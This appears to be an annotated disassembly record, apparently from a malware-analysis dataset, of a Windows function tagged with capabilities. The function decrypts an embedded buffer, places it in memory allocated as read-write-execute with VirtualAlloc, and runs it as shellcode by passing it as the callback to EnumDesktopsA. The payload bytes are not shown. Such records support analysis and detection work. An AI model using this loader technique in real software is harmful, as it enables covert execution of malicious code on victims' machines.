Function at 0x1400014d0
Capabilities:
Allocate or change rwx memory
Enumerate gui resources
Execute shellcode via windows callback function

Disassembly:
push rsi
push rdi
sub rsp, 0x268
mov rax, qword [0x14001f008]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov dword [rsp + 0x78], 0x243f6a88
mov dword [rsp + 0x7c], 0x85a308d3
mov dword [rsp + 0x80], 0x452821e6
mov dword [rsp + 0x84], 0x38d01377
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x78]
call fcn.140001360
lea rax, [rsp + 0x110]
lea rcx, [0x140014320]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x134
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x28], 0x134
mov eax, dword [rsp + 0x28]
add eax, 3
and eax, 0xfffffffc
mov dword [rsp + 0x20], eax
lea rcx, str.original_data:_n
call fcn.1400018e0
mov dword [rsp + 0x2c], 0
jmp 0x140001576
mov eax, dword [rsp + 0x2c]
inc eax
mov dword [rsp + 0x2c], eax
mov eax, dword [rsp + 0x28]
cmp dword [rsp + 0x2c], eax
jge 0x14000159d
movsxd rax, dword [rsp + 0x2c]
movzx eax, byte [rsp + rax + 0x110]
mov edx, eax
lea rcx, [0x140014468]
call fcn.1400018e0
jmp 0x14000156c
lea rcx, [0x140014454]
call fcn.1400018e0
movsxd rax, dword [rsp + 0x20]
mov rcx, rax
call fcn.140001938
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x48], rax
movsxd rax, dword [rsp + 0x28]
mov r8, rax
lea rdx, [rsp + 0x110]
mov rcx, qword [rsp + 0x48]
call fcn.1400029e0
movsxd rax, dword [rsp + 0x20]
mov rcx, rax
call fcn.140001938
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x50], rax
movsxd rax, dword [rsp + 0x20]
mov rcx, rax
call fcn.140001938
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x24], 0
jmp 0x14000162c
mov eax, dword [rsp + 0x24]
add eax, 4
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x20]
cmp dword [rsp + 0x24], eax
jge 0x1400016db
movsxd rax, dword [rsp + 0x24]
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
mov r8d, 0x10
mov rdx, rax
lea rcx, [rsp + 0x88]
call fcn.1400029e0
lea rdx, [rsp + 0x88]
lea rcx, [rsp + 0xa0]
call fcn.1400010e0
movsxd rax, dword [rsp + 0x24]
mov rcx, qword [rsp + 0x50]
add rcx, rax
mov rax, rcx
mov r8d, 0x10
lea rdx, [rsp + 0x88]
mov rcx, rax
call fcn.1400029e0
lea rdx, [rsp + 0x88]
lea rcx, [rsp + 0xa0]
call fcn.140001220
movsxd rax, dword [rsp + 0x24]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov r8d, 0x10
lea rdx, [rsp + 0x88]
mov rcx, rax
call fcn.1400029e0
jmp 0x140001621
lea rcx, str.padded_data:_n
call fcn.1400018e0
mov dword [rsp + 0x30], 0
jmp 0x1400016fb
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x20]
cmp dword [rsp + 0x30], eax
jge 0x140001723
movsxd rax, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x48]
movzx eax, byte [rcx + rax]
mov edx, eax
lea rcx, [0x140014480]
call fcn.1400018e0
jmp 0x1400016f1
lea rcx, [0x140014488]
call fcn.1400018e0
lea rcx, str.encrypted_data:_n
call fcn.1400018e0
mov dword [rsp + 0x34], 0
jmp 0x14000174f
mov eax, dword [rsp + 0x34]
inc eax
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x20]
cmp dword [rsp + 0x34], eax
jge 0x140001777
movsxd rax, dword [rsp + 0x34]
mov rcx, qword [rsp + 0x50]
movzx eax, byte [rcx + rax]
mov edx, eax
lea rcx, [0x1400144a4]
call fcn.1400018e0
jmp 0x140001745
lea rcx, [0x14001448c]
call fcn.1400018e0
lea rcx, str.decrypted_data:_n
call fcn.1400018e0
mov dword [rsp + 0x38], 0
jmp 0x1400017a3
mov eax, dword [rsp + 0x38]
inc eax
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x20]
cmp dword [rsp + 0x38], eax
jge 0x1400017cb
movsxd rax, dword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
movzx eax, byte [rcx + rax]
mov edx, eax
lea rcx, str._02x
call fcn.1400018e0
jmp 0x140001799
lea rcx, [0x1400144ac]
call fcn.1400018e0
movsxd rax, dword [rsp + 0x28]
mov r8, rax
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x110]
call fcn.1400028e0
test eax, eax
jne 0x140001803
lea rcx, str.encryption_and_decryption_successful._n
call fcn.1400018e0
jmp 0x14000180f
lea rcx, str.encryption_and_decryption_failed._n
call fcn.1400018e0
movsxd rax, dword [rsp + 0x28]
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x58], rax
movsxd rax, dword [rsp + 0x28]
mov r8, rax
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x58]
call fcn.1400029e0
call qword [sym.imp.USER32.dll_GetProcessWindowStation]
xor r8d, r8d
mov rdx, qword [rsp + 0x58]
mov rcx, rax
call qword [sym.imp.USER32.dll_EnumDesktopsA]
xor eax, eax
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.1400019d0
add rsp, 0x268
pop rdi
pop rsi
ret